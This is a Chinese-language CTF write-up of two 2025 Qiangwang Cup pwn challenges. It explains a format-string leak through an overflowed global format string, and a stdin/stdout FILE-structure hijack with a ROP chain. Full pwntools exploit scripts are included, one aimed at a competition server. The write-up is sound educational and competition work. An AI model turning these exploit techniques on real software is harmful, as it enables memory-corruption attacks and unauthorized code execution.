2025强网杯wp

yfor

题目链接:https://github.com/yfor-yfor/-/tree/main/2025%E5%BC%BA%E7%BD%91%E6%9D%AF

flag-market

菜单为退出或付钱

退出即exit

付钱如果为0xff,就break,如果不是0xff,就关闭流文件,将标志位变成0

break后清空s,并且将我们输入的内容作为模式,尝试打开user.log

最后重新再开始菜单流程

漏洞点:

1
__isoc99_scanf("%s", oflag); 

scanf的%s输入存在溢出,虽然oflag不在栈上,但是format格式化字符串在

1
2
3
4
5
6
.data:00000000004040C0 oflag           db 'everything is ok~',0
.data:00000000004041C0 format db 'You are so parsimonious!!!',0
.text:00000000004014AD lea rax, format ; "You are so parsimonious!!!"
.text:00000000004014B4 mov rdi, rax ; format
.text:00000000004014B7 mov eax, 0
.text:00000000004014BC call _printf

因此我们可以借助这个溢出,修改format为危险的格式化字符串符号

并且题目最后会重新开始,所以之后就可以借助这个漏洞泄露内容了

img

img

看图可知,此时堆地址和我们输入的内容都在栈上,他们的偏移量也可知为9和12

而这个堆地址,与存储flag真实内容的堆地址偏移固定

因此,我们可以先%9$p泄露堆地址,然后将这个值加上固定偏移当作想要pay的钱数,此时12偏移处就是存储flag地址的堆地址了,再%12$s泄露flag即可。

因为format格式化字符串符号只能修改一次,不能中途再加入%12$s所以一开始就全部改好

不过由于是%s的泄露,所以第一次时要输入一个随便的地址,比如0x4040c0,就不会导致报错了

img

可以看到,我们输入的内容就是flag内容的所在堆地址

img

远程成功获得flag

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(arch="amd64", os="linux")
#io = process("./pwn")
io=remote("8.147.135.220",20500)
io.recvuntil(b'2.exit\n')
io.sendline(b'1')
io.recvuntil(b'how much you want to pay?\n')
io.sendline(b'255')

io.recvuntil(b'opened user.log, please report:\n')
payload=b'a'*(0x100)+b'%9$p%12$s\x00'
io.sendline(payload)

io.recvuntil(b'2.exit\n')
io.sendline(b'1')
#gdb.attach(io)
#pause()
io.recvuntil(b'how much you want to pay?\n')
#gdb.attach(io)
#pause()
io.sendline(p64(0x4040c0))
#print(io.recv())

heap_addr=int(io.recv(9),16)
info(hex(heap_addr))

io.recvuntil(b'2.exit\n')
io.sendline(b'1')
io.recvuntil(b'how much you want to pay?\n')

io.sendline(p64(heap_addr+0x1e0))

io.interactive()

bph

img

拿到题目运行的时候,显示2.38以上才能运行,按照正常出题,应该是2.39的libc

img

而在第一次输入的时候,栈上有存在一个libc地址,用2.39的patchelf之后,本地可以成功泄露libc

1
2
3
4
5
io.recvuntil(b"Please input your token: ")
io.send(b"a" * 0x28)
io.recvuntil(b"a" * 0x28)
libc_base = u64(io.recv(6).ljust(8, b"\x00")) - 0xADDAE
log.success("libc: " + hex(libc_base))

img

远程测试之后,发现泄露的libc是对的,所以相当于开始就送了libc

别的函数功能全是错的,不能编辑,不能泄露,不能删除,delete的整个逻辑还是有问题的,纯。。。

只有add函数有问题

img

重点在这,add的时候,如果size过大,就不会申请堆块,ptr就是0,那这样就相当于size-1=0,开始的时候拿到libc了,也就是说,如果size和libcbase一样大,就能任意地址写一个0

题目用stdin进行输入,数据会先存放在输入缓冲区,任意地址写,写到stdin里面的buf base,这样buf base和buf ptr就有差值,这个差值刚好是stdin的开头

1
2
3
4
5
6
7
8
9
10
io.recvuntil(b"Choice: ")
io.sendline(b"1")
io.recvuntil(b"Size: ")
io.sendline(str(stdin + 0x38 + 1))
io.recvuntil(b"Content: ")
io.send(b"a")

dbg()
io.recvuntil(b"Choice: ")
io.send(p64(libc.address + 0x203900) * 3 + p64(libc.address + 0x203918))

img

这样的话,我们fgets的时候,就能改写stdin,fgets是先把数据读到缓冲区,再拿对应的长度,所以可以写很长的数据

我们再次改写stdin,这一次可以修改一整个buf base和buf end,改到stdout上,下次就是修改stdout

img

这样就改写掉了

剩下的就是写stdout,但是这里不是利用puts触发的io,puts没有成功触发,printf可以触发

不过这里注意,io的开始只能填sh或者0xfdad1800,填上flag字符串就报错

img

img

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *

context(log_level="debug", arch="amd64", os="linux")
io = process("./pwn")
# context.terminal = ["tmux", "split", "-h"]
#io = remote("47.94.202.253",32781)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")


def dbg(cmd=""):
gdb.attach(io, cmd)


io.recvuntil(b"Please input your token: ")
io.send(b"a" * 0x28)
io.recvuntil(b"a" * 0x28)
libc.address = u64(io.recv(6).ljust(8, b"\x00")) - 0xADDAE
log.success("libc: " + hex(libc.address))
stdin = libc.sym["_IO_2_1_stdin_"]
info(hex(stdin))

io.recvuntil(b"Choice: ")
io.sendline(b"1")
io.recvuntil(b"Size: ")
io.sendline(str(stdin + 0x38 + 1))
io.recvuntil(b"Content: ")
io.send(b"a")


io.recvuntil(b"Choice: ")
io.send(p64(libc.address + 0x203900) * 3 + p64(libc.address + 0x203918))


io.send(
p64(libc.address + 0x2045C0) + p64(libc.address + 0x2045C0 + 0x300)
) # stdin buf


fake_file = flat(
{
0x0: " sh;",
0x10: p64(libc.sym["setcontext"] + 61),
0x20: p64(libc.symbols["_IO_2_1_stdout_"]),
0x78: p64(libc.address + 0x2046d0),
0x88: p64(libc.symbols["_environ"] - 0x10), # _lock
0xA0: p64(libc.symbols["_IO_2_1_stdout_"]),
0xA8: p64(next(libc.search(asm("leave;ret;"), executable=True))),
0xD8: p64(libc.symbols["_IO_wfile_jumps"] + 0x10),
0xE0: p64(libc.symbols["_IO_2_1_stdout_"] - 8),
},
filler=b"\x00",
)
fake_file += (
p64(libc.address + 0x2045B8)
+ p64(libc.address + 0x2045E0)
+ p64(libc.address + 0x2038E0)
)
fake_file += p64(libc.address + 0x3FD000) + p64(libc.address + 0x3D2A40)

pop_rax = next(libc.search(asm("pop rax;ret"), executable=True))
pop_rdi = next(libc.search(asm("pop rdi;ret"), executable=True))
pop_rsi = next(libc.search(asm("pop rsi;ret"), executable=True))
pop_rcx = libc.address + 0xA877E
openat = libc.sym["openat"]
read = libc.sym["read"]
write = libc.sym["write"]
buf = libc.address + 0x2046d0
payload = (
b'flag\x00\x00\x00\x00'
+ p64(pop_rdi)
+ p64(0xFFFFFFFFFFFFFF9C)
+ p64(pop_rsi)
+ p64(buf)
+ p64(pop_rax)
+ p64(0)
+ p64(libc.address + 0x11EA8A)
+ p64(openat)
)
payload += (
p64(pop_rdi)
+ p64(3)
+ p64(pop_rsi)
+ p64(buf + 0x1000)
+ p64(pop_rax)
+ p64(0x30)
+ p64(libc.address + 0x11EA8A)
+ p64(read)
)
payload += (
p64(pop_rdi)
+ p64(1)
+ p64(pop_rsi)
+ p64(buf + 0x1000)
+ p64(pop_rax)
+ p64(0x30)
+ p64(libc.address + 0x11EA8A)
+ p64(write)
)
io.recv()

dbg("b *0x7ffff7c8afdd\nc")

io.send(fake_file+payload)

io.interactive()

img

  • Title: 2025强网杯wp
  • Author: yfor
  • Created at : 2025-10-29 22:49:14
  • Updated at : 2025-10-30 19:53:42
  • Link: https://yfor-yfor.github.io/2025/10/29/2025强网杯/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
2025强网杯wp